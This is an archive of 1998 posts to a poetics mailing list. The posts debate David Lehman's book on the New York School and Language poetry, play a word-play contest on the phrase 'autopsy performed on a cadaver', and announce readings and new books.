All this talk of Busta Rhymes etc reminds me of a passage in David Lehman's new and problematic _The Last Avant-Garde_. Lehman talks about an interview he once conducted w/ Ashbery wherein DL asked about the influence of the surrealists on his work. Ashbery responded, "not the actual surrealists, but hybrid ones like Reverdy and Max Jacob." This is how the typscript came back, inadvertantly suggesting the previously under-examined influence of hip hop on Ashbery's work.

LEHMAN: How about Sir Realist?
ASHBERY: Not the actual Sir Realist, but hybrid ones like Reverend D and Max Jack Hoe.

Dave Zauhar

Dave Zauhar

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483. david bromige

a couple of points/lehman contest

Tue 17 Nov 1998

"an autopsy," mind you, "performed _on a cadaver_" [emphasis supplied]. Let us hope all of Lehman's book is not similarly plagued with rendundancy. "An autopsy performed on a living monad" would be a slightly more intriguing piece of language. "An autopsy performed on a living tiger" : even better. Can we have a contest to see who comes up with the liveliest formulation--keep the first 3 words, vary the rest?

++++++++++

Thanks, Kent, for the plug re Jack's _The East Village_ , #4, which is viewable at http://www.theeastvillage.org . There are more Canadian poets in Canada and the USA than were dreamed of in our anthology, and Jack intends to include some of these in future issues. The Listmates Kent alludes to, include Lissa Wolsak, G Bowering, Billy Little, Jamie Reid, David McFadden (are you still there, David?--give us a sign!), Harold Rhenisch (now ex-List?), Louis Cabri, Ryan White, Norma Cole, Douglas Barbour, and maybe others--I believe lurker-

like List-lives are being led by such as Lisa Robertson, Erin Moure, Karen Mac Cormack and Steve McCaffery, and possibly more. Victor Coleman claims to have been ejected from the List. Could this be true?

David

↑ Index

484. **David Zauhar**
Re: A couple things
Tue 17 Nov 1998

On Tue, 17 Nov 1998, KENT JOHNSON wrote:

> *Regarding this thing concerning "literary inheritance," I don't think there's been any mention on the List about David Lehman's _The Last Avant-Garde: The Making of the New York School of Poets_, which is a marvelously entertaining critical history focusing on Ashbery, O'Hara, Koch and Schuyler,*
> *snip>*
> *But don't let any of this get you down. Lehman's book is really the best and funnest book ever written on "post-war" Am. poetry. It's all about giving in to influence and resisting being influenced, so if you are a twenty or thirty-something post-Language poet I think it is a must read!*

I posted something to the list just before reading Kent's note, and I'm with him: the book has it's moments. I called it problematic because, for one thing, Lehman will do things like describe the NYP's as rejecting the conventional methods and models and orthodoxies of 50s poetry and criticism, and then w/in a paragraph DL will be offering a reading of the same NYP's in an almost New Critical idiom. A slight problem, to be sure, and to be fair his chapter on Schuyler is quite interesting, second only to Schuyler's own diaries and poems among the things I've read about JS. Like Kent said, I wish I'd read something like this in college. Also: some great photograph's I've never seen before, many from the great Rudy Burckhardt.

Dangerously close to my 5-post limit

David Zauhar
University of Illinois at Chicago

"And I remember somebody leaning up against the dirt wall of the hillside, deriding William Carlos Williams, when suddenly there was a loud roaring, crunching noise and a chunk of the hill fell off and covered the person up to his neck. The person, being a young classical poet fresh from NYU, begun screaming that he was being buried alive. Fortunately, the landslide stopped and we dug him out and dusted him off. That was the last time he said anything against

William Carlos Williams. The next day he began reading _Journey to Love_ rather feverishly."

--Richard Brautigan.

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485. KENT JOHNSON
Post Mortem
Tue 17 Nov 1998

Speaking of the "Language School," Lehman writes:

"It is academic not only in the practical sense that its practitioners hold teaching appointments but equally because the noble experiment on language turns out soemtimes to resemble an autopsy performed on a cadaver." (The Last Avant-Garde, p.370)

Now, the "autopsy performed on a cadaver" phrase may indeed be unintentionally redundant as David B. says; on the other hand, one might regard Lehman's sentence as being inhabited by a sly conceit: that the autopsy is not performed on the "cadaver/poem" but on the dead and more encompassing body of the "Language School." itself. In other words, an _auto-autopsy_, which seems to me even more fetching than "an autopsy on a living tiger."

For our own purposes, as we gather today and circle, as is our habit, around the Tower of Babel of List, we might extend the conceit in the following way: The scent of the cadaver of Language poetry has infested and drugged the minds of young post-Language poets and turned them, oddly, into the scalpels, hemostats and tweezers which the cadaver of Language deploys (in a hideous act of dissection) upon its own rotting corpse.

And that's a Lunch Poem.

Kent

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486. Mark Prejsnar
Re: Fuming & writing like Ron (Deviant Extensions)
Tue 17 Nov 1998

We have very high dues. Plus a large entrance fee for former nonmarks. But believe me, it's worth it.

mark p.

On Tue, 17 Nov 1998, Mairead Byrne wrote:

> *I'd like to join the group of people named Mark.*
> *-- Mark Marks*

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487. **nicholas grindell**
a frayed knot
Tue 17 Nov 1998

> *david bromige wrote:*
>
> *"an autopsy," mind you, "performed _on a cadaver_" [emphasis supplied]. Let*
> *us hope all of Lehman's book is not similarly plagued with rendundancy. "An*
> *autopsy performed on a living monad" would be a slightly more intriguing*
> *piece of language. "An autopsy performed on a living tiger" : even better.*
> *Can we have a contest to see who comes up with the liveliest formulation--keep the first 3 words, vary the rest?*
>
> *An autopsy performed on voice, piano and strings.*

An autopsy performed on a shoestring.

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488. **Jacques Debrot**
Re: framing and fuming and writing like Ron/ we passed several days.
Tue 17 Nov 1998

Re: Watten, you're asking me, David, whether I find his work & his defense of it an obstacle? At the risk of sending a response that might belong back- channel, I'll say only that the Watten that really interests me is not the Watten that most people would think of immediately (which I realize looks back to your point about what it means to write like Silliman) -- "my" Watten, in any case, is not _Complete Thought_, _Progress_ or _Under Erasure_, but the early things -- _Opera-Works_, _Decay_ -- & the more recent _Conduit_ -- work that hasn't been particularly noticed -- that might even belong to the New York School (Bolinas Branch). When I'm not writing in the capacity of explicating work for a general audience -- as with the _DLB_ -- I feel free of course to use/think about Watten's writing in an entirely idiosyncratic way -- for instance he has enabled me to begin to look at possible literary uses for Conceptual art -- that's to say, he's at one pole & Tan Lin's take on Conceptualism is at another & I've found that

thinking about the 2 of them together can be productive & generative. Watten's essays in _Total Syntax_ also strike me as a kind of art writing & their form is at least as interesting as the arguments he actually makes, so he, in some ways, invites deviant readings -- & misreadings -- that I find compelling & -- in spite of what he perhaps intends (?) -- not at all doctrinaire.

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489. **Mark Weiss**

Re: a couple of points/lehman contest

Tue 17 Nov 1998

Or keep the last four: "A ballet performed on a cadaver"
"An autopsy performed on Uncle Tom"

At 11:18 AM 11/17/98 -0800, you wrote:
>"an autopsy," mind you, "performed _on a cadaver_" [emphasis supplied]. Let
>us hope all of Lehman's book is not similarly plagued with rendundancy. "An
>autopsy performed on a living monad" would be a slightly more intriguing
>piece of language. "An autopsy performed on a living tiger" : even better.
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>
>++++++++++++
>
>Thanks, Kent, for the plug re Jack's _The East Village_ , #4, which is
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>poets in Canada and the USA than were dreamed of in our anthology, and
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>intends to include some of these in future issues. The Listmates Kent
>alludes to, include Lissa Wolsak, G Bowering, Billy Little, Jamie Reid,
>David McFadden (are you still there, David?--give us a sign!), Harold
>Rhenisch (now ex-List?), Louis Cabri, Ryan White, Norma Cole, Douglas
>Barbour, and maybe others--I believe lurker-like List-lives are being led
>by such as Lisa Robertson, Erin Moure, Karen Mac Cormack and Steve
>McCaffery, and possibly more. Victor Coleman claims to have been ejected
>from the List. Could this be true?
>
>David
>
>

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490. **MAYHEW**
Re: Post Mortem
Tue 17 Nov 1998

I haven't read Lehman's book yet, but find this quotation obnoxious Obviously he *has to disqualify Language poetry--otherwise he'd have had to call his book "the next to the last avant-garde," not a very catchy title!

Lehman, from other things I've read of him, is 2nd generation New York school poet as Neo-conservative literary entrepeneur. His book on Paul de Man (of whom I am no fan) plays into the fashionable "let's bash postmodern university professors" school. His "best American poetry" series promotes blandness--the book is the same no matter who the Famous Poet editor is any particular year.

Jonathan

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491. **Aldon Nielsen**
Re: framing and fuming and writing like Ron/ we passed several days. Don't tell me they're gone!
Tue 17 Nov 1998

I was on the point of writing to ask Bromige what he had in mind with this comment about a "frame" for a "thread," but then I remembered that he is in fact the author of _THREADS_, avant la net?

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492. **Thomas Bell**
Re: Fuming and unaffiliated
Tue 17 Nov 1998

Joe,

I appreciate your words here and suspect a large proportion of the list is made up of us unaffiliateds who might for one reason or another be cautious about posting. One of the things the list has taught me is to say what I want to say despite my meager and ancient background in language and literature. I am a relatively old (55) man who lives in relative isolation (from books, universities, kindreds) and whose exposure to any formal (or informal) education in language and literaure is ancient history,

I think the issue of anxieties of influence has (minimally) two aspects: "ethical" and "poetic" if the two can be untangled. As far as "ethical" or "contra-societal" is concerned, I can identify influences all the way back to Ginsberg - if only you were alive then you would know. Recently I find myslf under the

influence of Paul Vangelisti's notes in _Collage to the effect that a "poet" does not need to always be a tragic figure but can let the comic in and out on paper and Ron's statement in the EPC paper that "poetics" is really engagement with the word and life. "Poetic-cally" influences can't be as easily untangled as I think the tendency is to pick up pieces when one finds something that works and learning how it works. This may just be a bow to pragmatism and avoidance of theory but I think it is realistic.

tom bell

Joe Amato/Kass Fleisher wrote:
>
> personally, i find these anxieties (of influence, i suppose) even more
> exaxperating (i think)
>
> so while i really do enjoy this list, and really am intrigued by various
> claims made, i would suspect list discussion would be even more to the
> point if it were to allow (however) for folks (like me, i guess) who find
> themselves largely un-allied, more fluid vis-a-vis specific aesthetic and
> "community" arguments/controversies generally set forth (dangers of
> pluralism notwithstanding)... and i can't believe i'm the only person who
> feels this way... in all, it's a pesky issue to raise---but the list is
> more various than one might conclude from reading through certain
threads...
>
> best,
>
> joe

-- NNMNNL MMNMMNK \\\/ <><>,...,., J K
HHH ZOOOOZ ZEUS'WRATHHTARW MM LLLL STOPG [
EMPTY] SPACER

http://www.geocities.com/Athens/Olympus/2562/Dark-Journey/Dark.htm
http://members.tripod.com/~trbell/criticism/gloom.htm
http://members.tripod.com/~trbell/Waysout.htm
http://members.tripod.com/~trbell/petals/petals.htm
http://members.home.net/trbell/motheran.htm
http://members.home.net/trbell/start.htm
http://home.talkcity.com/EaselSt/trbell/Blackwho.htm

↑ Index

493. **Susan Schultz**
Re: Fuming & writing like Ron (Deviant Extensions)
Tue 17 Nov 1998

Would David Zauhar or other listees care to comment further on the new Lehman
book--its "problematics," especially?
Just curious, as I haven't yet read the thing.

Susan Schultz

↑ Index

494. **tracy s. ruggles**
Re: a frayed knot
Tue 17 Nov 1998

On Tuesday/17.November.1998 12.25.50pm, nicholas grindell wrote:
>
> >david bromige wrote:
> >
> >> "an autopsy," mind you, "performed _on a cadaver_" [emphasis
> >> supplied]. Let
> >> us hope all of Lehman's book is not similarly plagued with
> >> rendundancy. "An
> >> autopsy performed on a living monad" would be a slightly more
> >> intriguing
> >> piece of language. "An autopsy performed on a living tiger" : even
> >> better.
> >> Can we have a contest to see who comes up with the liveliest
> >> formulation--keep the first 3 words, vary the rest?
> >
> >An autopsy performed on voice, piano and strings.
>
> An autopsy performed on a shoestring.

An autopsy performed pre-formed by an auto spy.

↑ Index

495. **J. Fuhrman**
sf reading
Tue 17 Nov 1998

>
>##

>
>JEFFREY MCDANIEL, poet recently featured
 in Best American Poetry and on NPR's "Talk of the Nation,"
 veteran of many National Slam Teams
 and 1998 author of FORGIVENESS PARADE (Manic D Press).
>
>AND!
>
>CAMILLE ROY, writer and performer of plays, poetry, and fiction, most
>recently SWARM from San Francisco's Black Star Series. She's "brilliant
>and horny as William S. Burroughs with his consciousness way raised"
>(GIRLFRIENDS magazine).
>
>##################################
>COME SEE SOME *REAL POETS*
>##################################
>
>THURSDAY, NOVEMBER 19TH, 1998
>
>8 PM ADOBE BOOKSHOP
> 3166 16TH ST. (btwn. Valencia and Guerrero)
>FREE! SF, CA 94110
>
>##################################
>
>COME ONE, COME ALL! THURS. NOV. 19TH!
> *PLUS* WATCH THIS SPACE FOR DETAILS ON OUR DEC. 3RD
READING.
>
>##################################
>
>9X9X9X9X9X9X9X9X9X9X9X9X9X9X9X9X9X9X9X9X9X9X9X9
>
>9X9 INDUSTRIES http://www.stilton.com/nine/
> [redacted]
>
>WE *STILL* DON'T LIKE POEMS
>THAT ARE LIKE POEMS!
>

↑ Index

496. **Leonard Brink**
My autopsy
Tue 17 Nov 1998

I don't think anyone's going to volunteer to be labeled a "language poet" if that's going to be equated with necrophilia of some kind. But if you accept the autopsy that the significant contribution of Language Poetry (and maybe Surrealism for that matter) is that language becomes more of a primary than a secondary consideration in poetry as a result of it, then it continues to have a tremendous, if sometimes indirect, influence.

↑ Index

497. **aaron armstrong skomra**
another Mayer Question
Tue 17 Nov 1998

!

does anyone know of any articles on / reviews of Mayer that they can point me to?

thanks

backchannel

↑ Index

498. **Gabriel Gudding**
Re: Fuming & writing like Ron (Deviant Extensions)
Tue 17 Nov 1998

On Tue, 17 Nov 1998, Mark DuCharme wrote:

> *Oh, by the way, I appreciated Greg Gudding's deflating a few pretensions --*
> *as if somehow Silliman, Du Charme, Bromige, etc. had definitively framed the*
> *discussion for the rest of us.*
>
> *Well first of all this was a response to a thread to which all of the above named had posted, & an attempt to stress that there was less dis agreement than some of the above may have thought. I am sorry if, in my haste to get to what I was saying in my post, I may have, quite unintentionally, ruffled any egos.*

1). I think the point that Greg Gudding was trying to make is simply that, as per the above, the only ego that was "ruffled" by what Mack DuCharme wrote was Mack DuCharme's.

gg

↑ Index

499. **MAYHEW**
More on "last avant garde"
Tue 17 Nov 1998

I looked at the Lehman book for about an hour in the bookstore and was decidedly underwhelmed. The style is glib and journalistic; those of us who are already steeped in New York school poetry wouldn't learn much from it. He seems to have a general reader in mind: perhaps someone vaguely interested in poetry who doesn't know anything about O'Hara, Asbhery, etc.. would read it with some profit. Perhaps it is the academic in me that wants more substance. (I hope it is the poet in me as well!) Would it have killed him to write a chapter on Barbara Guest? Or to have treated 2nd generation figures more charitably and expansively?

Estoy bastante decepcionado, Kent...

Jonathan

↑ Index

500. **KENT JOHNSON**
La Escuela de Nueva York
Tue 17 Nov 1998

On 17 November, Jonathan Mayhew wrote:

> *I looked at the Lehman book for about an hour in the bookstore and was decidedly underwhelmed. The style is glib and journalistic...*
>
> *Estoy bastante decepcionado, Kent...*

Lamento que sientas decepcion, Jonathan. Shamefully, I must admit that the chatty, breezy read is one of the things that appeals to me about Lehman's book, so rare in discussions of poetry. (Come to think of it, breeziness is one of the things that appeals to me about O'Hara and Koch and Schuyler too!) And the book is full of they did this, they did that histories that in many cases wonderfully illuminate the poetry. Lehman does a great job in weaving the lives into the poetry and vice versa. What poetic is more implicated in the everyday than that of "the NY School"? Well, OK, the SF Renaissance, and the Beats too... But the great gossipy stuff in the book-- I'll bet even you didn't know about some of the stuff in there. Don't you enjoy poetry world gossip? No puedo mentirle a esta querida Lista: A mi si me gusta!!

The comments on Language poetry Lehman makes I find more than thin. Academic this, academic that, blah, blah, old, old. Yes, my comments on young smart poets becoming the unwitting scalpels and clamps that a now-museumed tradition wields on itself in a kind of avant-garde "This is my Body: Take eat" are much more interesting and to the point than Lehman's. But so what? It's still a really good read. I hope that when the book on the Language poets is written it is fun to read too. God knows we can always use some fun.

No te parece?

Kent

↑ Index

501. **KENT JOHNSON**
Listen, Kent
Tue 17 Nov 1998

Kent:

I will back-channel you a whole file-full of critical works on Larry Levis if you will stop using my name.

Kent

↑ Index

502. **Kent Shaw**
critical references to Larry Levis
Tue 17 Nov 1998

I was hoping someone could backchannel to me any critical works they've seen talking about Larry Levis.

Thank you,
Kent.

↑ Index

503. **Karen Kelley**
Cool new book
Tue 17 Nov 1998

Well, not *really* new. Anyhow, it's
Formless by Yve-Alain Bois & Rosalind Krauss.
From MIT/Zone books.

Opens with a quote from Bataille on *informe* or the formless, posits the formless as "persistent within a history of modernism that has always repressed it in the interest of privileging formal mastery."

If you like art criticism, it's a fun read, including entries on Robert Smithson,
Robert Morris, Eva Hesse & my personal favorite, Cy Twombly. An interesting
alternative to the form vs. content argument. And a really physically beautiful
book.

↑ Index

504. Eliza McGrand
Re: Listen, Kent
Tue 17 Nov 1998

---

kent

for some reason you imagine i am rapt about the work of larry levis. i am not. i would like the unexpurgated memoirs of jane russell, the ones with the pictures. and 20 hours of don rickles videos shot live in los vegas. this is not negotiable.

kent

↑ Index

505. Dale Smith
More Waterloo News
Tue 17 Nov 1998

To respect the mission of this list, I must report a reading I attended Sunday night. Hoa Nguyen's class read their work at Peggy Kelley's Yoga Studio on South Lamar Blvd as a finale to their meetings together. There was a shrine up front, with candles and incense lit for Ted Berrigan (whose Birthday it was) and Keats and Pound, as well as others living and dead too far away to attend. Roberto and I sat on yoga-rugs, drinking beers, rubbing our hands together instead of applauding because "meditation" was "going on" in a room next to us.

Pat Booker read a long, "made-up" correspondence between Olson and Pound, set in Austin, TX. He pitched the gnarled, hard-edged, joustingly hateful Pound-voice through an energy both sympathetic and critical. His Olson had more to fight, and therefore, explain; more son in this case, than Fathar. It was like meeting old friends in a heaven where no one talked back.

Melissa Milios, a recent graduate of the Univ. of N. Carolina, was surprised to find palm trees in Texas. Kelly Kingman walked "soggy in these skins / my shiny lot . . . thinking my phrases / should be greetingcard / quotable / to give people on / days they celebrate who they are / that they breathe/were born." Hoa wrote "Shop and see fresh goat cheese / Opulence is puffy paint," then chastized me on the sly, reading, "How can I freak out on you / gone to New Orleans / Onion Creek has gone amok." And the coolest 15-year-old in poetry, Elisa McCool, read, "the honey roasted peanuts are a / 'Symbol of Freedom' / I will bring some wings for you / if you would like."

All of this, and more, being very wonderful and indicative of another "avant-garde," one that reads Tom Clark _and_ Charles Bernstein.

Dale

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

506. **Sean Casey**
wieners/anderson reading
Wed 18 Nov 1998

--
impossible object presents:

beth anderson & john wieners
and students

Thurs. Nov. 19
Russell Lab, T.F. Green building
5 Young Orchard Avenue,
across from the Young Orchard Apts
--

and also, in nyc:

> *ecstatic peace*
> *presents:*
> *friday november 20 1998*
>
> *thurston moore - acoustic/electric*
> *w/ dj olive*
>
> *diadal (rita ackermann/jutta koether/david nuss)*
>
> *william hooker - lee ranaldo - christian marclay*

> ==========
> *saturday november 21 1998*
>
> *thurston moore - acoustic/electric*
> *w/ dj olive*
>
> *jackie-o motherfucker*
>
> *william hooker - lee ranaldo - christian marclay*
>
> *gerard malanga - films*
>
> *IIIIIIIIII*
> *@ the cooler*
> *416 w. 14 bet. 9th & washington - nyc*
> *9pm*

↑ Index

507. **Sean Casey**
wieners/anderson reading
Wed 18 Nov 1998

whoops...

The Wieners/Anderson reading is in Providence,
on the Brown campus.

↑ Index

508. **Edward Fristrom**
Re: a couple of points/lehman contest
Wed 18 Nov 1998

david bromige wrote:

> *"an autopsy," mind you, "performed _on a cadaver_" [emphasis supplied]. Let*
> *us hope all of Lehman's book is not similarly plagued with rendundancy. "An*
> *autopsy performed on a living monad" would be a slightly more intriguing*
> *piece of language. "An autopsy performed on a living tiger" : even better.*
> *Can we have a contest to see who comes up with the liveliest*
> *formulation--keep the first 3 words, vary the rest?*

An autopsy performed on voice, piano and strings.

↑ Index

509. A. Jenn Sondheim
fop-l
Wed 18 Nov 1998

fellow poeticitizens -

I want to mention again (since I think I've written about this before), that I co-moderate a list devoted to writing, fop-l, fiction of philoso- phy, that is primarily the basis for the presentation of new work. (Not poetics, but some theory of all sorts, I suppose including poetics, as well as texts of all sorts, ranging from po-etry to the phenomenology of disability to my own avataristic meanderings, etc.) At present, there are about a hundred people on it, and we're always look-ing for writers. There is not a great deal of discussion, but a fair amount of back-channel. So I'd like to invite anyone who might be interested to join; you can sub by writing to [redacted], saying subscribe fop-l firstname lastname in the body of the post.

I originally started the list about four and a half years ago, as a way to discuss 'difficult' work - Jabes and Blanchot for example. It quickly took off as a presen-tation list instead, and, with some exceptions, has remained as such. Some of the membership overlaps with Poetics subscribers - but the focus is entirely different.

Anyway, join and participate if you feel inclined -

Alan

↑ Index

510. Gabriel Gudding
Listen, Guantanamo
Wed 18 Nov 1998

guantanamo,

1). your mention of jack russels brought to mind the very fine time i had rid-ing with you on horseback in ranchlight high in the utah mountains

2). and how thought arrived concerning the alpines and lupines and the small terrier my horse had just punted: that should the wounded canine

3). perish in these refreshing meadows, i would make a small pilgrimage to the place where it was hoof-struck and trace its lolling Z-shaped

4). retreat across the prolix culvert and onto the sun-sunned culvert bridge where it drug itself to bask its pulped head and bark no more. thanks for

5). this memory.

guantanamo

On Tue, 17 Nov 1998, Eliza McGrand wrote:

> *kent*
>
> *for some reason you imagine i am rapt about the work of larry levis. i am not. i would like the unexpurgated memoirs of jane russell, the ones with the pictures. and 20 hours of don rickles videos shot live in los vegas. this is not negotiable.*
>
> *kent*

↑ Index

511. Daniel Zimmerman
Re: a couple of points/lehman contest
Wed 18 Nov 1998

---

david bromige wrote:
>
> "an autopsy," mind you, "performed _on a cadaver_" [emphasis supplied]. Let
> us hope all of Lehman's book is not similarly plagued with rendundancy. "An
> autopsy performed on a living monad" would be a slightly more intriguing
> piece of language. "An autopsy performed on a living tiger" : even better.
> Can we have a contest to see who comes up with the liveliest
> formulation--keep the first 3 words, vary the rest?
>
>
An autopsy performed on a past you.

↑ Index

512. Michael Magee
Sylvester's jump rope influence
Wed 18 Nov 1998

According to Sylvester Pollet:
>
> Mike, very sorry on name, only the m showed on reply form, I guess. I'm
> glad to read that part of the interview. That's the stuff I was alluding
> to, & I always loved the sound of it & the wacky invention. The one I'm
> thinking of has the alliterative tradition mixed in, Can't get the words
> right, but the one that goes something like "My name is Barbara and I come
> from Brooklyn and my boyfriend's name is Brian and we eat baloney." That's
> embarassingly rough, but my wife, who jumped them in NYC, isn't here at the
> moment. By all means, keep on jumping! And who cares about dominators?

Who
> believes that? Maybe the Acad. of Amer. Bigshots. Sylvester
> >
>

Sylvester, if I'm hearing it right, this is the jump rope game where, after doing the "my name is..." section there's a call & response which goes like this:

"Mm, she thinks she's bad..."

"Correction, baby, I *know* I'm bad..."

"Mm, she thinks she's bad..."

etc. really great rhythmicly. -m.

↑ Index

513. Henry Gould
Re: schools of lemons
Wed 18 Nov 1998

Nothing stinks like the cadaver of a breeze.

↑ Index

514. Mairead Byrne
Re: Listen, Kent
Wed 18 Nov 1998

I no longer wish to be part of the group named Mark or Mack. I petition for membership of the group named Kent.

On Tue, 17 Nov 1998, KENT JOHNSON wrote:

> *Kent:*
>
> *I will back-channel you a whole file-full of critical works on Larry Levis if you will stop using my name.*
>
> *Kent*

↑ Index

515. Pete Landers
Re: Fuming & writing like Ron (Deviant Extensions)
Wed 18 Nov 1998

Influences. It doesn't help to be too self-concious about them. Read what you like, write how you want to. I'm sure Mr. Silliman would agree with that. After

all, that's what he did. What differs is that he and Mr. Bernstein and others also wrote about what they read, not from the PoV of how it influences them, but as readers appreciating Ms. Stein, Mr. Coolidge, etc. They didn't write like critics, but a group of critics has sprung up who write the way they did. The people who contributed to that magazine were doing what they wanted to do. I guess that's the real coup.

Pete Landers

BTW, I'll have to sign off the list for a week, then I'll be back once I have my email set up in the new location, Portland OR. Anyone who needs to contact me, this addy is good for only a few more days.

↑ Index

516. **Pete Landers**
Re: Great Ladies of Poetry
Wed 18 Nov 1998

Eliza,

So very true. It takes more than a few years to affect change. I just wanted to point out New American Writing which I have always respected because 1. it doesn't have this problem and 2. the writing is great. As mags like this take over, the others will follow. Anything institutionalized will take longer to follow, of course.

Pete Landers

↑ Index

517. **Mark Prejsnar**
Alerity of Outfluence
Wed 18 Nov 1998

The violence of Kent's imagery and words here is fascinating. Very good example of how *perturbed* people on the this list are, by *THAT group*!!

As he himself says, in a post just previous, there is something here that people are havin' a problem working thru....a weird and defensive/aggressive ressentiment. Honestly, except for some fine early appreciations of Blake and other romantix, i've always thought H. Bloom was a silly kook. As i watch people trying to come to terms with their anxieties regarding *that group*, though, i begin to wonder. Oddly however there are many fine poets (young, enfeebled, whatever) who just get on with their work, and aren't concerned with needing to exaggeratedly dis or dismiss the L'sters. So i guess we aren't living in a bloomian universe after all. Whew! that's a relief!

--just another mark

On Tue, 17 Nov 1998, KENT JOHNSON wrote:

> *Speaking of the "Language School," Lehman writes:*
>
> *"It is academic not only in the practical sense that its practitioners hold teaching appointments but equally because the noble experiment on language turns out soemtimes to resemble an autopsy performed on a cadaver." (The Last Avant-Garde, p.370)*
>
> *Now, the "autopsy performed on a cadaver" phrase may indeed be unintentionally redundant as David B. says; on the other hand, one might regard Lehman's sentence as being inhabited by a sly conceit: that the autopsy is not performed on the "cadaver/poem" but on the dead and more encompassing body of the "Language School." itself. In other words, an _auto-autopsy_, which seems to me even more fetching than "an autopsy on a living tiger."*
>
> *For our own purposes, as we gather today and circle, as is our habit, around the Tower of Babel of List, we might extend the conceit in the following way: The scent of the cadaver of Language poetry has infested and drugged the minds of young post-Language poets and turned them, oddly, into the scalpels, hemostats and tweezers which the cadaver of Language deploys (in a hideous act of dissection) upon its own rotting corpse.*
>
> *And that's a Lunch Poem.*
>
> *Kent*

↑ Index

518. **Steven Clay**

Announcing: Log Rhythms by Charles Bernstein & Susan Bee

Wed 18 Nov 1998

<fontfamily><param>Helvetica</param><smaller>Granary Books

announces the publication of

Log Rhythms

by Susan Bee and Charles Bernstein

In Log Rhythms, Susan Bee sets and illustrates a long serial poem by Charles Bernstein, offering a running visual dialog with the poem's textual acrobatics. Bee has created a visual counter-text for Bernstein's poems in

four previous books Little Orphan Anagram (Granary), The Occurrence of Tune (Segue), Fool's Gold (Chax), and The Nude Formalism (Sun & Moon). In this work, Bee's illustrations comment on and extend the many far-flung motifs of the poem, from a list of "Bob's" businesses to fractured and re-sung nursery rhymes ("Oh, do you know the muffled man?"). At times dark, at times dizzyingly demented, swerving from the wildly comic to the searingly political, from the whimsical to the elegiac, Bee and Bernstein explore the psychopathology of everyday life with what The New York Times calls (in reference to Little Orphan Anagram) "real visual éclat".

Log Rhythms is printed in black and white. The illustrations were first made with brush, ink, and wash combined with collage and then printed offset by Brad Freeman on Warren's Lustro Dull. Cover design by Susan Bee and Philip Gallo, laser-printed in color at the Hermetic Press.

The edition consists of 500 copies; 8 1/4 x 11"; ?? pages.

The price is $25 till December 15; $35 thereafter

Residents of the state of New York add 8 1/4% sales tax

Shipping is $3 (U.S. & Canada) $6 (everywhere else).

ISBN 1-887123-25-3

Granary Books

568 Broadway #403

New York, NY 10012 USA

[redacted]

www.granarybooks.com</smaller></fontfamily>

↑ Index

519. Mark Prejsnar
A Fable for Our Time
Wed 18 Nov 1998

On Tue, 17 Nov 1998, Leonard Brink wrote:

> *I don't think anyone's going to volunteer to be labeled a "language poet" if that's going to be equated with necrophilia of some kind.*

> *But if you accept the autopsy that the significant contribution of Language Poetry (and maybe Surrealism for that matter) is that language becomes more of a primary than a secondary consideration in poetry as a result of it, then it continues to have a tremendous, if sometimes indirect, influence.*

Girls and boyz,

Once upon a time there was a group. And a nice little group it was too. They disliked the war in vietnam and US imperialism and sexism and other such things. They used to get together and read Stein and Zukofsky, all dressed up in black in cheap urban lofts (or so the story goes). One day one of this nice group said, We should have a name! to show that we are not hung up on abstract brougeois notions of individualism..And another jumped up and clapped his hands and said, i'll make the costumes! And so it was: this nice group now had a name. They even published a sort-of manifesto in Social Text and no one claimed that they didn't mean it and were only mocking the empty rhetoric of postmodernism....

Well, despite or because or in absolutely no relation to the fact that they were a group, and had A Name, many of these poets wrote very fine poems (and various other things, not always entirely distinguishable from poems). And after 15 years or so they no longer got together quite so often, and much of what they had done had had real impact on writing and reading and talking in the world. And so they really weren't a group any longer but a loose network of friends and comrades.

The group had ceased to be a group and had become A Label.

Few people want to label themselves: not many of us wd. think it natural to encounter a poet who said, hi! i'm a romantic (or surrealist, or dadaist, or augustan). So as these post-groupites got on with their work, people who didn't like interesting and challenging form took up The Label, and began to use it quite extensively, to deride anyone who was not as conservative as they.

And so it was that The Name, now the Label, ceased to be very useful. (For one thing the people who used it seldom **read** the work of these poets very much)

And everyone lived happily ever after (wonder what happened to those costumes???!!)

Uncle Mark

↑ Index

520. Gabriel Gudding
Inspitoonshal Sexism
Wed 18 Nov 1998

On Tue, 17 Nov 1998, Eliza McGrand wrote:

> i would add an interesting (and scary) note to this. For all of you out
> there who would say "oh, there's no sexism in the ruling ranks of poetry"

Do). Eliza, thanks for this post, this is a great post. Let me relate to you, again with perverse indiscretion, _Epoch_'s freaky relationship to female authors.

Re). Epoch's one of your WKJs. Anyone familiar with it will notice that few to barely any women get published in it. The odd thing is this:

Mi). The Editorial Staff is Well Aware of This. And they are even trying to fix this. But they just can't HEP themselves: issue after issue they choose male contributors, and much of the fiction has a decidedly macho tone: bears guns and the army.

The mind is a sesquiplicated thing.

-Guantanamo Gudding

↑ Index

521. Maria Damon
Re: another Mayer Question
Wed 18 Nov 1998

---

frontchannel please! it'd be great to get a compilation like the ones we've just gotten on hejinian; great teaching resources. thanks to one and all.--md

At 6:44 PM -0500 11/17/98, aaron armstrong skomra wrote:
>!
>
>does anyone know of any articles on / reviews of Mayer that they can point
>me to?
>
>thanks
>
>backchannel

↑ Index

522. **Timothy Liu**
Friedman/Liu/Sewell at Posman Books
Wed 18 Nov 1998

Jeff Friedman, Timothy Liu and Lisa Sewell will be reading this Sunday afternoon (3:00 p.m.) at Posman Books (One University Place) from their most recent books published respectively by Carnegie Mellon, Copper Canyon Press and Alice James Books in celebration of independent publishing. Admission is free.

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523. **MAYHEW**
Howe on P[ei]rce
Wed 18 Nov 1998

In the MLA's otherwise depressing journal _Profession_ (1998), just arrived in my mailbox, is a short peice by Susan Howe on Chas. S. Peirce that might be of interest to those studying relations between pragmatism and cont. American poetry.

Jonathan

↑ Index

524. **Pritchett,Patrick**
Readings in Boulder
Wed 18 Nov 1998

RANDY ROARK & LAURA WRIGHT (of this List)
will read from their work at Penny Lane, in Boulder
Monday, November 23, at 9:00 PM.

Hosted by Tom Peters.

↑ Index

525. **schuchat**
since maria asked for front-channel
Wed 18 Nov 1998

I replied to aaron armstrong skomra's query re B Mayer articles thusly:

I wrote a lengthy review of MEMORY which appeared in THE SOHO WEEKLY NEWS in June or July 1976, shortly after it was published. SOHO WEEKLY NEWS was a downtown competitor to the Village Voice during the mid-70s, I think it went under in the early 80s but don't remember very well. a library with a newspaper collection (New York Public?) might very well have it, on

microfilm or otherwise. I don't have access to a copy of my review at the moment, but it might be worth your while to look for it -- it was one of the first discussions of B Mayer for a relatively wide audience. it is certainly one of the earliest reviews of her work.

↑ Index

526. **joel lewis**
f.y.i.
Wed 18 Nov 1998

